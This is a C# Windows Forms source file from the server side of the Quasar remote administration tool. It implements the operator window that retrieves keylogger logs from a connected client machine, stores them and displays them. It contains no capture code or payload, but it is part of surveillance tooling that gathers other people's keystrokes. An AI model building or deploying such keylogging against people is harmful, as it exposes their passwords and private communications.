using System; using System.Collections.Generic; using System.IO; using System.Windows.Forms; using Quasar.Common.Messages; using Quasar.Server.Helper; using Quasar.Server.Messages; using Quasar.Server.Networking; namespace Quasar.Server.Forms { public partial class FrmKeylogger : Form { /// /// The client which can be used for the keylogger. /// private readonly Client _connectClient; /// /// The message handler for handling the communication with the client. /// private readonly KeyloggerHandler _keyloggerHandler; /// /// Path to the base download directory of the client. /// private readonly string _baseDownloadPath; /// /// Holds the opened keylogger form for each client. /// private static readonly Dictionary OpenedForms = new Dictionary(); /// /// Creates a new keylogger form for the client or gets the current open form, if there exists one already. /// /// The client used for the keylogger form. /// /// Returns a new keylogger form for the client if there is none currently open, otherwise creates a new one. /// public static FrmKeylogger CreateNewOrGetExisting(Client client) { if (OpenedForms.ContainsKey(client)) { return OpenedForms[client]; } FrmKeylogger f = new FrmKeylogger(client); f.Disposed += (sender, args) => OpenedForms.Remove(client); OpenedForms.Add(client, f); return f; } /// /// Initializes a new instance of the class using the given client. /// /// The client used for the keylogger form. public FrmKeylogger(Client client) { _connectClient = client; _keyloggerHandler = new KeyloggerHandler(client); _baseDownloadPath = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\"); RegisterMessageHandler(); InitializeComponent(); } /// /// Registers the keylogger message handler for client communication. /// private void RegisterMessageHandler() { _connectClient.ClientState += ClientDisconnected; _keyloggerHandler.ProgressChanged += LogsChanged; MessageHandler.Register(_keyloggerHandler); } /// /// Unregisters the keylogger message handler. /// private void UnregisterMessageHandler() { MessageHandler.Unregister(_keyloggerHandler); _keyloggerHandler.ProgressChanged -= LogsChanged; _connectClient.ClientState -= ClientDisconnected; } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected private void ClientDisconnected(Client client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } /// /// Called whenever the keylogger logs finished retrieving. /// /// The message processor which raised the event. /// The status message. private void LogsChanged(object sender, string message) { RefreshLogsDirectory(); btnGetLogs.Enabled = true; stripLblStatus.Text = "Status: " + message; } private void FrmKeylogger_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient); if (!Directory.Exists(_baseDownloadPath)) { Directory.CreateDirectory(_baseDownloadPath); return; } RefreshLogsDirectory(); } private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) { UnregisterMessageHandler(); _keyloggerHandler.Dispose(); } private void btnGetLogs_Click(object sender, EventArgs e) { btnGetLogs.Enabled = false; stripLblStatus.Text = "Status: Retrieving logs..."; _keyloggerHandler.RetrieveLogs(); } private void lstLogs_ItemActivate(object sender, EventArgs e) { if (lstLogs.SelectedItems.Count > 0) { wLogViewer.Navigate(Path.Combine(_baseDownloadPath, lstLogs.SelectedItems[0].Text)); } } private void RefreshLogsDirectory() { lstLogs.Items.Clear(); DirectoryInfo dicInfo = new DirectoryInfo(_baseDownloadPath); FileInfo[] iFiles = dicInfo.GetFiles(); foreach (FileInfo file in iFiles) { lstLogs.Items.Add(new ListViewItem {Text = file.Name}); } } } }